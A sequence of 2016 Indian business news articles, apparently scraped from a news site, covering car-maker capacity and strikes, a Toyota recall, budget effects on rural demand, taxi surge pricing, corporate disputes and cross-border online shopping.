This is even as the exports have more than trebled in the past three months to close at 5,600 in March from 1,800 in January, according to MSIL.

The company is running its plants in Haryana at near-full capacity, with incremental volumes coming only through improvisations such as debottlenecking.

Increasing the Balenos production beyond this will mean sacrificing volumes of other models.

We expect Maruti Suzuki to hit a capacity roadblock this year despite efforts at debottlenecking its stated manufacturing capacity of 1.55 million units.

"The Gujarat plant is expected to add 0.25 million units of capacity only next year, said a Religare report.

MSIL has said the Baleno production expansion is going as planned but demand continues to outstrip supply.

In addition, sources say, there could be issues in ramping up component supplies from the vendors.

R C Bhargava, chairman, MSIL said, When there is a surge in demand of a particular product, we have to make a judgment on what the long-term demand is going to be and what is the optimum mix. Capacity has to be increased, but by how much?

While initial target was to increase total production to 150,000 units -- 100,000 for the domestic market and the rest for exports -- Bhargava said, the management is confident of increasing production to beyond 160,000 units this year.

MSIL will not take export orders beyond 50,000 units this year.

It is obligation of the company to meet the demand. We have asked the management to tell us if they need any help.

"We are ready to provide it but it is important that a message goes out that Maruti is making the best effort possible to best serve the customer, added Bhargava.

However, rivals could be cashing in on Balenos supply bottleneck. Hyundai has been able to grow its volumes and maintain its market share in the premium hatchback segment with i20, which is available with a waiting of 15-20 days.

Rakesh Srivastava, senior vice-president (sales and marketing) Hyundai Motor India said, The segment size of the premium hatchback has not grown.

"In that scenario, we were able to grow in volumes and held on to our market share of 35 per cent.

Balenos successor, Vitara Brezza, which was launched last month, is facing a similar situation.
About 2,500 employees work at the Nano plant, including engineers, administrative and other staff

At a time when Tata Motors is set to roll out its new hatchback Tiago from Sanand plant in Gujarat, about 400 workers at the site went on a flash strike on Tuesday demanding re-instatement of 28 suspended workers.

Tatas Sanand plant does not have a trade union or politically-affiliated labour union so far.

Deputy labour commissioner of Ahmedabad zone, V V Pandya, confirmed the development and said that 422 workers are on strike at the plant.

The management has taken a proactive stance, and is open to negotiations.

However, since this is not a unionised agitation, there is no institutional leader of the workers at the moment, thus making the negotiations difficult, Pandya told Business Standard. These workers are on direct payroll, Pandya clarified.

A Tata Motors spokesperson said in a statement, Around 300 workmen of Tata Motors, Sanand Plant, have gone on an illegal flash sit-in strike on February 22, 2016, demanding re-instatement of the workmen suspended (pending enquiry) for serious misconduct.

"While the Management team is continuing to make efforts to talk to the workmen on strike and convince them to restore normalcy, plant operations are simultaneously continuing."

The conflict began around Diwali when a group of workers demanded pay hike so that they could be exempted from the Employees State Insurance deductions.

Pandya said average workers salary at the plant around Diwali was Rs 13,000-13,500 per month.

If this amount is raised to Rs 5,000 per month, they would be exempted from ESI deductions.

"Workers actually preferred the company-run health scheme over the ESI scheme, he said, adding that the company also in-principle agreed to implement the wage hike.

However, Pandya said, two workers were suspended by the company for agitating. Recently, after an enquiry, the management decided not to take these workers back.

This is when the remaining workers protested, demanding re-instatement of the sacked employees.

On Monday, action was taken against 26 workers when they allegedly incited other workers and damaged some property.

Gujarat labour department sent its team to the site on Monday night.

On Tuesday morning, some workers congregated and resorted to a tools-down strike.

About 2,500 employees work at the Nano plant, including engineers, administrative and other staff.

Pandya said about 550 employees work on the shop floor.

The assistant labour commissioner and government labour officer were trying to end the deadlock. Pandya said if negotiations do not yield results within the next three days, the strike could be stretched further.

The company on its part said, "There have been continued agitations for further monetary increases as well as protests against disciplinary actions against those instigating the workmen, resulting in serious threat to company personnel as well as losses due to tampering.

"Viewed as attempts to coerce the Management, around 20 workmen have been suspended (pending enquiry) on various charges of serious misconduct."

A spokesperson said, "Tata Motors has enjoyed cordial relations with its workmen since start of its operations in Sanand in 2010."

Around 42,561 Nano cars were produced from the Sanand factory between January 2014 and December 2015, against the installed capacity of 250,000 cars per annum.

The conflict began around Diwali when a group of workers demanded pay hike so that they could be exempted from the Employee State Insurance deductions.

Pandya said average workers salary at the plant around Diwali was Rs 13,000-13,500 per month.

If this amount is raised to Rs 5,000 per month, they would be exempted from ESI deductions.

Workers actually preferred the company-run health scheme over the ESI scheme, said Pandya. The company is said to have agreed in-principle to implement the wage hike.

However, Pandya said, two workers were suspended by the company for agitating.

Recently, after an enquiry, the management decided not to take these workers back. This is when the remaining workers protested, demanding re-instatement of the sacked employees.

On Monday, action was taken against 26 workers when they allegedly incited other workers and damaged some property.



Gujarat labour department sent its team to the site on Monday night.

On Tuesday morning, some workers congregated and resorted to a tools-down strike. Around 2,500 employees work at the Nano plant, including engineers, administrative and other staff.

Pandya said about 550 employees work on the shop floor.

The assistant labour commissioner and government labour officer were trying to end the deadlock. Pandya said if negotiations do not yield results within the next three days, the strike could be stretched further.

The company, on its part, said, There have been continued agitations for further monetary increases as well as protests against disciplinary actions against those instigating the workmen, resulting in serious threat to company personnel as well as losses due to tampering.

"Viewed as attempts to coerce the Management, around 20 workmen have been suspended (pending enquiry) on various charges of serious misconduct.



A spokesperson said, Tata Motors has enjoyed cordial relations with its workmen since start of its operations in Sanand in 2010.

Around 42,561 Nano cars were produced from the Sanand factory between January 2014 and December 2015, against the installed capacity of 250,000 cars per annum.

Image: Tata Nano car plant at Sanand in Gujarat. Photograph: Amit Dave/Reuters

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Tata Motors on Tuesday said the company has yet again reached out to the striking workers and advised them to resume duty on or before March 11, failing which, the company would take appropriate legal actions.

The workers, however, said there was no plan to join back as of now.

Gujarat Khedut Samaj, a farmers outfit, has already extended support to the striking workers, and indicated that it would move the Gujarat High Court to protest against the state labour departments decision to prohibit the strike.

Sagar Rabari, secretary, GKS said, This is not any essential service or commodity, that the government acted in a hurry to declare the strike illegal.

"We would move Court against this.

"Also, we are seeking permission to sit in a dharna before the Ahmedabad collectors office.

Tata Motors said in a statement on Tuesday, Under Clause 10(3) of the Industrial Disputes Act 1947, to prohibit the ongoing illegal strike by Gujarat government, for all such workmen who are yet to resume duty, the company will consider it as unauthorised absence.&rdquo

"The company has yet again reached out to the striking workmen and advised them to resume duty on or before March 11, failing which the company would be compelled to take appropriate legal actions.

The company too has moved the Ahmedabad Session Court for an injunction to prevent any agitations on the plant premises to ensure protection and safety of its people and property.

Zhala Harpal Sinh, a striking worker at the site, and one of the committee members of the seven member workers committee that is representing the striking workers said that there were no plans to join back work as of now.

About 422 workers at the site had gone on strike from February 22 protesting against the suspension of 28 workers, and sources have indicated that about 50 of them have already resumed work at the site.
The recall includes 1.3 million vehicles in North America announced earlier in the day by Toyota's US unit.

Toyota Motor Corp said on Thursday it is conducting a global recall of 2.87 million vehicles due to the possibility that their seatbelts could be damaged by a metal seat frame part in the event of a crash.

In an email, the world's biggest-selling automaker said that the global recall involved its RAV4 SUV model produced between July 2005 and August 2014 and sold worldwide, and its Vanguard SUV model produced between October 2005 and January 2016 and sold in Japan.

The recall includes 1.3 million vehicles in North America announced earlier in the day by Toyota's U.S. unit, along with around 625,000 vehicles in Europe, 434,000 vehicles in China, 177,000 in Japan and 307,000 in other regions.

The automaker said it would add resin covers to the metal seat cushion frames on all affected vehicles to prevent any metal pieces from cutting the seatbelt in the event of a crash, after it had received two reports in which rear seatbelts separated following crashes.

Toyota said it could not determine whether these incidents were linked to any injuries or fatalities.
Erratic monsoons have hit farm produce and incomes, hurting volumes of entry-level cars, two-wheelers, light trucks and tractors for manufacturers which target the rural areas for volumes.

Employment guarantee schemes, doubling of farmer income and a rise in investment on rural road building are the initiatives in the Union Budget that, the automotive industry is hopeful, will reignite rural demand.

Erratic monsoons have hit farm produce and incomes, hurting volumes of entry-level cars, two-wheelers, light trucks and tractors for manufacturers which target the rural areas for volumes.

Hero MotoCorp, Maruti Suzuki and Mahindra & Mahindra, for instance.

Yadvinder Singh Guleria, senior vice-president at Honda Motorcycle & Scooter India, said: In the backdrop of two weak monsoons, the governments focus on the rural sector -- farmer welfare, education, interest subvention on existing loans and skill development -- will inject strength in the rural economy. Overall, we expect such measures, once implemented, will revive the stagnant demand for two-wheelers in rural areas.

Motorcycles generate at least a third of volumes from the rural pocket.

In the April-January period, first 10 months of this financial year, sales were 8.89 million units as against 9.09 mn in the same period last year, shows data from the Society of Indian Automobile Manufacturers.

Delhi-based Hero MotoCorp, the country largest two-wheeler maker, gets 40-45 per cent of sales from rural markets.

It posted a fall in April-January for the first time in three years at 5.3 million units, down 2.4 per cent.

Domestic tractor sales have been the worst hit.

Mumbai-based Mahindra & Mahindra, which has a little more than 40 per cent of the market, under two brands, posted a fall of 12 per cent in volumes in April-January.

Pawan Goenka, executive director, said, A five-year doubling in farm income (as promised in Monday's Union Budget proposals) means an increase of 12-13 per cent every year and that is a very bold statement.

"If that happens, it will transform our economy.

"A good monsoon, along with the focus on rural income, will definitely increase our sales numbers.

"The tractor industry has been down for two years and we could have some nice surprises.

Finance Minister Arun Jaitley has proposed to increase the allocation to the Mahatma Gandhi National Rural Employment Guarantee Scheme by Rs 3,800 crore (Rs 38 billion) in the coming financial year, to Rs 38,500 crore (Rs 385 billion), the highest on it till date.

Similarly, it has been proposed to substantially increase the allocation on the Pradhan Mantri Gram Sadak Yojna, from the Rs 9,805 crore (Rs 98.05 billion) in 2013-14 to Rs 19,000 crore (Rs 190 billion) in 2016-17.

The image is used for representational purpose only. Photograph: Reuters
The governments decision to stop surge pricing by app-based taxi companies Uber and Ola ignores the basic principles of economics to appease a vocal section of the vote bank, point out Abhijnan Rej & Prashant Kumar.

When government intervention is based on a failure to understand the basic tenets of economics and/or to pander to vote banks, it is necessary to call it out.



The Delhi government is at it again and by doing so, it is inadvertently signalling to the world that it is clearly not open for business.



This week's announcement - or rather threat - to app-based taxi companies Uber and Ola to cancel surge pricing or have their cars impounded is yet another example of how Chief Minister Arvind Kejriwal is willing to overlook the basic principles of economics to appease a vocal section of his vote bank.



As much as Kejriwal may want Delhi's citizens to believe that he represents the aam aadmi, this new announcement should cement his position as another uninformed politician.

The timing of this announcement is suspect. With the second phase of road-space rationing (odd-even) being conducted in the city, a steady supply of transport vehicles to allay any disruption to lives and livelihoods is necessary.



For Kejriwal to issue such a diktat at this time is straddling a fine line between incomprehensibility and inconvenience.



Cancelling or capping surge pricing will not only lead to a disruption in cab services in the city, it is also poised to meddle with livelihoods that are dependent on these transportation services.

There is very little economic thinking to back Kejriwal's activism.



The first thing to understand about surge pricing - dynamic pricing being the more technically correct term-of-art - is that it is based on sound economic theory.



The basic idea is this: app-based services match demand ("riders") with supply ("taxis"). Both are variables, depending on external factors such as time of day, location of pick-up and drop-off, as well as traffic conditions.



Thus, if high demand exists in one area without matching supplies, Uber's (and Ola's) surge/dynamic pricing mechanism ensures greater supply to meet an increase in demand.



What apps like Uber (or Ola) do is perform a market-clearing function by doing so dynamically.



Incidentally, the economics behind matching is what earned game theorists Alvin Roth and Lloyd Shapley their Economics Nobel in 2012.

There is no "catch" in dynamic pricing: the app acts as a signalling mechanism for both drivers and riders, much in the same way marriages match partners based on individual preferences on both sides.



Developing and automating a dynamic-pricing mechanism is, intellectually, a challenging task.



What makes Uber and Ola what they are (and other services like airlines and Airbnb, which works on a similar mechanism) is the development of this algorithm and building a platform around it.



The fares set by these apps are based on pure-play demand and supply. To implicitly portray these apps as gouging the public is to not understand - or accept - how markets work.



It is to negate Economics 101 - a course Kejriwal would be well advised to take before he sets about the task of distorting markets.

There are deeper issues that drove this announcement than just a failure to understand basic economics.



By demanding the cancellation of dynamic pricing, the signal the Delhi government has sent is that if the private sector wishes to operate in Delhi, it is subject to government interference and control, should the core Aam Aadmi Party (AAP) vote banks be troubled.



Additionally, while this move will surely affect Delhi drivers, it has consequences for drivers operating, and commuters living and working on Delhi's periphery.



Without dynamic pricing, which allows drivers from outside the city to compensate for the long distances, the number of taxi operators coming into the city from these areas would be limited; it would also push existing supplies towards areas where no such laws exist.

Beyond Kejriwal's crypto-socialism - which includes the belief that distorting market mechanisms will benefit the proverbial "Mango People" - there is a larger political game at play here, which revolves around his pandering to taxi unions and auto-rickshaw drivers.



The latter is a large vote bank, which is demanding a revision of fares.



The odd-even experiment would directly benefit this section by increasing public dependence on public transportation.



In the short run, the collapse of private companies like Uber and Ola will give these unions the opportunity to regain monopolistic tendencies - the same tendencies that gave many taxi and auto operators powers to arbitrarily set prices based on distances, time and moods.



In the long run, by clamping down on app-based taxi matching services, Kejriwal's calculation is to force the public to accept the proposed fare hikes for auto-rickshaws in the event of the odd-even formula becoming permanent.

Taxi unions have lost the public relations battle they waged with Ola and Uber on specious public safety grounds. Kejriwal's fiat against dynamic pricing models is calculated by AAP cohorts as a body blow to the app-based business model.



Ultimately, the public will have few options - if Uber or Ola fails - but to rely on the notoriously fickle auto- and taxi-wallahs of Delhi.



Kejriwal's gambit is that in the name of the environment and consumer protection, the AAP's support base would be placated.



This, at the end of the day, is an archetype of how retrograde politics compromises public interest.

Abhijnan Rej is a fellow and Prashant Kumar is an associate fellow at the Observer Research Foundation, New Delhi.
Better strategy, he said, is to get the Debt Recovery Tribunal to pass an order invoking guarantee he has given to banks and attach his assets.

Forcing beleaguered businessman Vijay Mallya, who owes over Rs 9,000 crore (Rs 90 billion) to several banks, to come back to India is a bad strategy, says tech investor T V Mohandas Pai, who favours a negotiated settlement.

"I think it's a bad strategy to force him to come back because I don't think they have a strong case to do what they are doing," the former Chief Financial Officer of software major Infosys said.

Better strategy, he said, is to get the Debt Recovery Tribunal to pass an order invoking guarantee he has given to banks and attach his assets.

"Today, there is no proof for or against Vijay Mallya asking him to pay back any money.

There is no court order. Dispute is in the court. Court has not given any order.

Everybody is saying 'pay back, pay back' but pay back what?

For paying back, you need a court order. . .exactly how much to pay and all that. I think it's being badly handled," Pai told PTI.

Pai, co-founder of Aarin Capital, favoured requesting the Supreme Court to pass an order for negotiations with the liquor baron.

He noted that nobody has claimed that Mallya siphoned off money and indulged in money laundering till Enforcement Directorate went after him.

"Nobody knows what evidence ED has.

None of the banks has found evidence, no body spoke about it. Now only ED is saying," said Pai, currently Chief Adviser to the Manipal Education and Medical Group.

He stressed the need for improving legal system in the country, noting that the case against Mallya was going on before DRT from the year 2013.

Pai said he was also against naming and shaming willful defaulters of bank loans.

"Once you lost money, there is no shame.

Everybody knows you lost money, what is the shame?

Shame is a middle class morality; shame is not there for business class or those who own business," he said.

"I don't think anybody's name should be made public.

What should be done is: we need bankruptcy law to force them into bankruptcy, sell their assets and get back the money.

Once there is bankruptcy law, they are forced into bankruptcy; it (their names) will automatically become public," Pai said.

IMAGE: In this fle photograph, the King of Good Times Vijay Mallya alights from his Rolls Royce at the Mahalaxmi racecourse in Mumbai, 2013. PHOTOGRAPH: Rediff Archives


Monday blues and Thank God its Friday will never go away, but companies can try to ensure that employees say them more in jest

'Happiness' has been making headlines over the past few weeks, though India didnt have much to cheer about, as it figured among 10 countries that saw the largest declines in happiness levels between 2005-07 and 2013-15.

According to the World Happiness Report which ranked 156 countries, India was at the 118th spot -- one below last years ranking. But what must have hurt the powers that be was that even Saudi Arabia, Somalia and Pakistan were rated happier than India.

The other set of headlines around 'happiness' in recent weeks were sundry announcements regarding 'ministry of happiness' by a few governments.

While Madhya Pradesh Chief Minister Shivraj Singh Chouhan announced he would set up such a ministry soon, a Russian lawmaker and close ally of President Vladimir Putin said her country would do well to take its cue from the United Arab Emirates, which has set up a Ministry of Happiness.

The public acknowledgement prompted the UAE prime minister to tell Russian news agencies last week that the main purpose of that ministry was the belief that a happy person would not strive to become a terrorist. Interestingly enough, the UAE isnt the first country to have such a ministry.

That honour goes to Venezuela. And, Bhutan has for years compiled a gross national happiness index, in an effort to track the well-being of its citizens.

'Happiness' wasnt restricted to government initiatives alone over the past few days; it played out at the workplace, too.

On Tuesday, London-based The Happiness Index, a start-up that claims to be able to measure happiness in your business, closed a 500,000 funding round from a group of private angel investors.

Launched in 2014, the company says it has enabled more than 40,000 employees in its client-companies to ask tailored questions using a scoring system to provide insights on the extent of happiness in their organisations.

An index to measure happiness at your workplace may seem like too corny an idea, but the experience of some of the worlds most attractive employers shows companies can no longer ignore the happiness quotient in their organisations.

A consulting firm, which is working on a report to figure out what bothers employees the most, says that as high as 60 per cent of talented employees are considering leaving their existing jobs.

The point is that employers are completely off track if they think money and flexible timing alone will help reverse this situation.

Beyond a certain financial reward threshold, its all about being engaged at work and being trusted.

The survey shows job satisfaction is the overwhelmingly biggest factor for talented employees, which means employees want to be happy in their roles so that they enjoy coming to office every morning.

Also, organisations have to look at letting employees do what they do best instead of trying to micro-manage them to death.

Thats because employees need time and freedom to generate new ideas -- we live in a world driven by the next innovative idea.

Another critical factor is recognition -- something that is ignored consistently even by the most modern organisations.

This is surprising, as it is plain common sense that recognition significantly improves employee engagement, pride and overall happiness, which have a direct impact on their productivity.

But this should be done carefully -- faking it could have a serious repercussion on the morale of employees, who can easily find out when you are appreciating somebodys work without meaning it.

In any case, according to a University of Florida study, even model employees and star performers start to misbehave when they are angry at work, dislike their jobs, or believe their supervisors are unfair.

Studies from psychology and neurology have shown that people who experience positive emotions are more efficient and creative.

Employees tend to get ill less often, and many even stay at the company longer, reducing the huge efforts to recruit new employees.

To be sure, expressions such as 'Monday blues' and 'Thank God its Friday' will never go away, but what companies can do is to make sure that employees say them more in jest.

To begin with, if you are a manager, try this out: Since you can shape the office environment with something as simple as the expression you wear when walking into work, try and smile more often.

Chances are your teammates will smile back.

Thats like sowing the first seeds of happiness at your workplace.
As technology continues to penetrate Indian enterprises, investors are on the lookout for companies that are disrupting classical industries.

Image: Investor confidence has risen a lot. Photograph: Reuters

This is one of the biggest opportunities for private equity (PE) investors, Renuka Ramnath, founder of Multiples Alternate Asset Management, a firm that manages close to $1.1 billion in PE funds, tells Alnoor Peermohamed in an interview.



Edited excerpts:

Your portfolio is made up of offline companies (those that are not accessible on the internet) rather than new-age technology firms. Is it a conscious strategy?

For Multiples, it was the first fund and I had to get that right.



The risk parameters were very well-defined and its performance was pretty much the foundation for Multiples. I did say I would invest in emerging opportunities.

If you look at India Energy Exchange, a very large investment in my portfolio, its an emerging opportunity.

A power exchange is not commonplace; I was taking a view that a greater amount of power will be bought and sold on an exchange rather than through bilateral trade.

Those were a permissible investment thesis for me, but front-end e-commerce required that you would participate in subsequent rounds of funding.

You would burn cash with the confidence that you are deepening your brand and increasing your customer connect.

That is a much higher level of risk-taking than what I was comfortable with in the first fund.

I dont see Multiples as a fund that will do more venture capital-type of funding.

It will be more of later-stage classical private equity, which is investments in traditional sectors like steel, cement and agriculture, and distress turnaround.

The Vikram (Hospital) kind of situation (Multiples bought ICICI Venture Funds Managements 64 per cent stake in the Mysuru-based hospital, besides infusing direct capital) is a very big opportunity for us, as we can bring capital, management capability, good governance, other investors, and can raise debt in the company.

All these are natural for me to do, rather than betting on the next technology breakthrough or something like that.

Are there enough opportunities in the classical PE space?

Plenty. I am predicting the biggest change waiting to happen, and already happening, is change of ownership.

Many companies are held by families. In many situations the beneficiaries of these family-owned companies run into hundreds.

Families are also under pressure to monetise their businesses and give it to the second generation, third generation, and fifth generation, whatever it is, because those kids are not interested in being a part of the family enterprise.

Their passion is something else. They want to do something more new age, and capital is what they want, not a small piece of some traditional family enterprise.

I see that as a very big opportunity for PE.

Can you put a number on this market?

It is difficult to put a number, but I would say that by way of market cap if we move to 2025, I am expecting that $20-25 billion of market cap will be private equity-owned.

If you add up the money that has come in through PE in the past 10-12 years, the cumulative would be $80-85 billion, of which $35 billion has been returned through divestments.

So, we still have $50-55 billion with us in private equity. Currently, were adding at about $15 billion per year.

I expect this number to go up because the confidence in India is coming back.

Big PE players have pumped money into e-commerce firms and that has hurt them. Do you foresee a similar trend in the more classical PE space as India becomes a more favourable investment destination?

Not really. People talk about too much money coming in, chasing too few deals.

The kind of money we raise, we have to invest it over four years. We are monitored by our investors as to what disciplines weve put it in.

Ive raised about $700 million and I commit 50 per cent of the fund in the first year.

My investors will really turn the heat on me and, god forbid, if those investments go bad, they will not again give me money.

Whats the general economic outlook for India?

Investor confidence has risen a lot from what I experienced three or four years ago.

The years 2012 and 2013 were really the worst years for India, where nobody even wanted to hear about us.

Investor appetite for India has gone up quite phenomenally but I dont see a lot of fresh investments happening.



It is only about some set of shareholders exiting and a new set coming in, but theres no fresh capital expenditure.

I think that is still two years away - all this Make in India and existing companies coming up with new capital expenditure plans and infrastructure kicking off in a big way.

I still see some distance, as people are still dealing with their legacy issues  fixing balance sheets, utilising unutilised capacities.

The first Indian e-commerce company (Infibeam) recently came out with an initial public offering. Are retail and private investors ready for it?

I dont think it will be detrimental to e-commerce companies in any way.

When you say private investors, there are speculative investors, there are informed investors and then there are investors through mutual funds.

Generally, governance levels have gone up because of the amendments to the Companies Act, responsibility on the boards, listing guidelines requiring huge reporting and transparency that is required by both Sebi and stock exchanges.

Individual investors are on a far better wicket, figuratively speaking, compared with 10 or even 20 years ago.
250-300 new cars gutted, several showrooms damaged

Gopal Mittal, a Maruti Suzuki dealer in Haryanas Rohtak, was looking forward to welcoming buyers to the brand new Nexa showroom, due for inauguration on February 28.

He wont be able to.

Agitating Jats put the two-floor showroom on fire last weekend, pushing back Mittals expansion plans. Nexa is the dealership of the countrys largest car maker, to sell premium cars -- its S-Cross and Baleno.

The showroom was damaged and then set on fire. It is completely gutted.

"There was no help from the state administration and the army. About 50 of the 150 cars at our stockyard were completely burnt, while the rest were severely damaged, said Mittal, who invested Rs 6-7 crore in setting up the Nexa outlet.

As the showroom was not operational, it was not even insured. Mittal is worried about the way things will shape from here for businessmen like him.

There is huge tension. I am apprehensive where this will stop. The confidence level of the local business community is deeply shaken, he said.

Notably, the Jats, who went on a rampage to demand quota, attacked the showrooms of only non-Jats.

At least 10 showrooms in and around Rohtak of different automobile companies have been ransacked and torched. Many were burnt completely.

Dealerships of Hyundai, Toyota, Honda, Volkswagen, Ford and other auto companies were impacted.

While most are yet to estimate the extent of loss, a total of 250-300 vehicles could have been damaged.

Amit Jain, a Hyundai dealer in Rohtak, said the mob looted the accessories at his showroom, and damaged the infrastructure and building.

The windows of cars in the showroom were broken and then petrol was used to burn the vehicles. We are yet to get an idea of the exact damage.

They also drove away with a few cars.

It will take almost a year to rebuild the dealership, he said. Jain used to sell around 100 cars a month.

Jain, however, is not certain about continuing his business in Haryana.

Support from the government has been missing; such instances might reoccur in the future.

The events in Haryana will have an impact on sales volume of automobile companies in the region, directly and indirectly.

The law and order disturbance in Haryana has created major challenges for logistics of vehicles to North India. In addition, service and sales have come to a standstill as many dealerships are closed as a precautionary measure.

"We are constrained to direct the logistic operators to stop the transportation of vehicles at the state borders and advise the dealerships to remain closed till things normalise, said Rakesh Srivastava, senior vice-president (sales & marketing) at Hyundai.

/p>Maruti Suzuki, which suspended production at its two Haryana plants on Saturday afternoon, did not resume operations on Monday.

It has decided to keep operations suspended till 3 pm on Tuesday.

It will take a call on further course during the day. Maruti and other companies in the Gurgaon-Manesar auto hub have been impacted by the Jat agitation, which has crippled the inbound and outbound supply chain at companies such as Maruti and Hero MotoCorp.

The combined output from Manesar and Gurgaon plants is currently about 5,000 vehicles a day, implying a loss of 10,000 vehicles so far.

The plants remained closed on Sunday.

A Hero MotoCorp spokesperson said despatches from all the four plants - Gurgaon and Dharuhera (Haryana), Neemrana (Rajasthan) and Haridwar (Uttarakhand) have been affected due to the ongoing blockade of the national highways and other roads.

Production output has also been partially impacted on Monday at our plants due to the ongoing impasse.

Component makers, many of whom operate in the region, were also hit.

We are getting impacted like all the other companies, but there is nothing we can do about it. If an OEM (original equipment manufacturer) is facing production issue, its parts supplier is bound to see a resultant impact, said Ramesh Suri, chairman of Subros, which manufactures AC kits for cars.

(With inputs from Swaraj Baggonkar)

Image: Buses set on fire in Sonepat. Photograph: Rajesh Sood/PTI
Grand plan: 10% GDP growth; 175 million jobs; $10-trillion economy

Transforming India, an ambitious action plan finalised after two months of brainstorming shepherded by Prime Minister Narendra Modi, has recommended a slew of reforms to be implemented by ministries and departments if India has to grow by 10 per cent per annum until 2032.

This, according to the action plan, will totally eradicate poverty from India in the next 16 years and also create 175 million new jobs.

Growing at 10 per cent will transform India  India will be a $10 trillion economy with no poverty in 2032, the plan states. In 2015-16, the size of the Indian economy was a little over $2 trillion and the gross domestic product growth was around 7.6 per cent.

As part of first steps in this grand plan, the government has set out to implement WTO-compatible procurement norms by 2017-18, achieve 100 per cent rural electrification by May 2018, increase rural teledensity to 100 per by 2020, reach broadband connectivity through optical fibre to all gram panchayats by December 2018 and have 175 million broadband connections by 2017.

The 23-page action plan also envisages reforms in the agriculture and allied sectors, including deregulation of genetically engineered (Bt) insect-resistant pulses by 2017-18, creation of buffer stock for pulses by 2017-18 and target 15 million metric tonnes of fish production by 2020. It also plans to implement seeding of Aadhaar number in 90 per cent of ration cards by the end of FY17.

PAN (Permanent Account Number) is to be made mandatory for all businesses and entities and serve as unique business identifier also by the end of FY17.

The entire process from ideation to action took barely two months, NITI Aayog chief executive officer Amitabh Kant said. The process was initiated with the PM holding a meeting with all the secretaries to the government in December. At the meeting, Modi called for radical thinking which could take India forward, cutting across the silos of line departments and ministries.

The PM identified eight themes and decided to constitute eight groups of secretaries to come out with recommendations and a road map for each of the themes. The objective of the action plan was to foster development but with inclusive growth and efficiency.

According to a secretary, the PM was happy with the finalised action plan. He told the secretaries that no expert group could have made such recommendations because these have come from people who think the plan is doable.

However, not all agreed with the ambitious target of India achieving 10 per cent growth for the next 16 years. While desirable, 10 per cent growth is wishful thinking when we are struggling to maintain even 7.5 per cent increase in gross domestic product per annum, a secretary, who was part of the process, said.

Kant said the recommendations by the groups of secretaries were circulated among all ministries. Every ministry examined it and prepared an action plan based on what can be implemented.

Some of these actions were announced in the budget. The remaining we have put together in sub-themes which have target dates, Kant said. NITI Aayog has been assigned the responsibility to monitor the implementation of these action plans and would be creating a dashboard for this.

The eight themes identified by the PM were  accelerated growth with inclusion and equity; employment generation strategies; universal access to quality health and education; good governance; farmer-centric Issues in agriculture and allied sectors; Swachh Bharat and Ganga Rejuvenation; energy conservation and efficiency and innovative budgeting and effective implementation.

The government plans to have proactive consultations with the states as they have an important role in implementation of a number of these initiatives on pan-India basis.

Centre's action plan
As per reports, the ATO raised the tax bill after Pankaj Oswal transferred his shares in Burrup Fertiliser, a company started by him, to his wife in 2007

Amid a takeover tussle with his mother for control of Oswal Greentech and Oswal Agro Mills, Pankaj Oswal has been ordered by authorities in Australia not to leave the country due to a taxation case involving millions of dollars.

The Australian Taxation Office (ATO) has issued Pankaj Oswal and his wife with Departure Prohibition Orders (DPO) over Mrs Oswal's unpaid tax bill, according to reports.

When contacted, Oswal told PTI that he had gone to Australia voluntarily with his wife to settle an ongoing case.

"We are not in any custody or detention. The DPO only stops you from leaving the country, before we sort out the issues which we have ourselves very much come to do. This is just another show of bullying and muscle power," Oswal said.

Stating that he is yet to get the reason for the DPO, he said: "The issuance of DPO is merely a tactic to intimidate us."

"The matter with ATO relates to alleged claims of AU$190 million owned by Radhika Oswal. Let me state here that as part of pre-trial hearings, independent experts have given their testimony that the claim against Radhika cannot be for more than AU$32 million which itself is a contested amount that we believe to be zero," he added.

As per reports, the ATO raised the tax bill after Pankaj Oswal transferred his shares in Burrup Fertiliser, a company started by him, to his wife in 2007.

Pankaj Oswal, who is currently in Sydney, said the tax claim is for "alleged capital gain taxes".

"Radhika and I were living in Australia of a temporary resident visa and the issue of paying capital gain tax does not arise for non-residents. So we are not liable to pay capital gains tax," said Pankaj.

Earlier this month, a takeover battle had erupted in the Oswal family, which is estimated to have assets worth Rs 800 crore (Rs 8 billion), after the death of Abhey Oswal, with both Pankaj Oswal and his mother Aruna Oswal claiming ownership of the two group companies.

On Tuesday, Oswal Greentech and Oswal Agro Mills had informed that the shares of the companies' patriarch late Abhey Oswal have been transferred to wife Aruna Oswal.
Be extra careful while using credit cards because there is a risk of misuse

Mumbai-based musician Manoj Raikar was shopping online for ceramic knives. A set of four was available at half the price on international websites compared to Indian online retailers. Surprised, he checked the shipping cost. It was free. He decided to give it a try.

It was a Rs 900 item and I was willing to take the risk for the savings. The product came after a month but turned out to be value for money, Raikar says.

Raikar is among many Indian consumers who have started scouting for deals on international websites to bring down their shopping bill. Many are also logging on to these websites to buy products that are not easily available in India. Some popular websites include Alibaba Group-backed AliExpress.com; Wish.com, co-founded by two former engineers at Google and Yahoo!; and Banggood.com.

While many are finding value shopping at these online retailers, experts say consumers need to be cautious while purchasing goods. Shopping on these websites is similar to swiping your credit card for a physical transaction in a foreign country, which carries many risks, says Mukul Shrivastava, partner, fraud investigation and dispute services, EY.

Smart shoppers

IMAGE: Richard Liu, CEO and founder of China's e-commerce company JD.com, rides an electric tricycle as he leaves a delivery station to deliver goods for customers to celebrate the anniversary of the founding of the company, in Beijing, June 16, 2014. Photograph: Jason Lee/Reuters

Most India shoppers go to the international websites to buy products in certain categories. These include apparels and lifestyle products, electronics accessories and childrens toy.

These are technology-savvy buyers and/or are well-travelled and have shopped abroad. They are also regular users of credit cards unlike majority of Indian online shoppers who prefer cash on delivery, says Mohit Bahl, partner and head of forensic services at KPMG.

Most of these consumers start small and gradually increase the value of transaction, according to Ashish Chopra, analyst, Motilal Oswal Securities.

Subbu Muthu, a finance professional, ordered two mobile cases to test one such website. The two covers cost him Rs 200 and there were shipping charges of Rs 100.

When these were delivered without any hassles, he ordered a mobile scratch guard. After two purchases, he bought a Rs 900 leather sling bag. The same was being sold in India for Rs 2,000. As my confidence grew, I bought more expensive things, says he.

These savvy consumers also restrict the value of their purchase. Raikar, for example, says he is willing to spend only up to Rs 3,000 and Muthu wont spend more than Rs 2,000 on international websites. Despite cheaper products and increasing confidence, they say they wont take a risk with cross-border transactions. These buyers also opt for simpler products, where the chance of damage during shipping is low.

When things go wrong

Many of these websites are based in China. Websites such as Wish.com are based in the US but most of their sellers are from China. The sellers manage to sell items at low prices, as most products are from unknown brands and many times part of an unsold inventory.

The business models of these international online retailers is similar to that of Flipkart and Amazon - they connect sellers with buyers. To avoid fraudulent sellers, these websites have taken adequate measures. However, they are not completely free from selling fake or sub-standard goods.

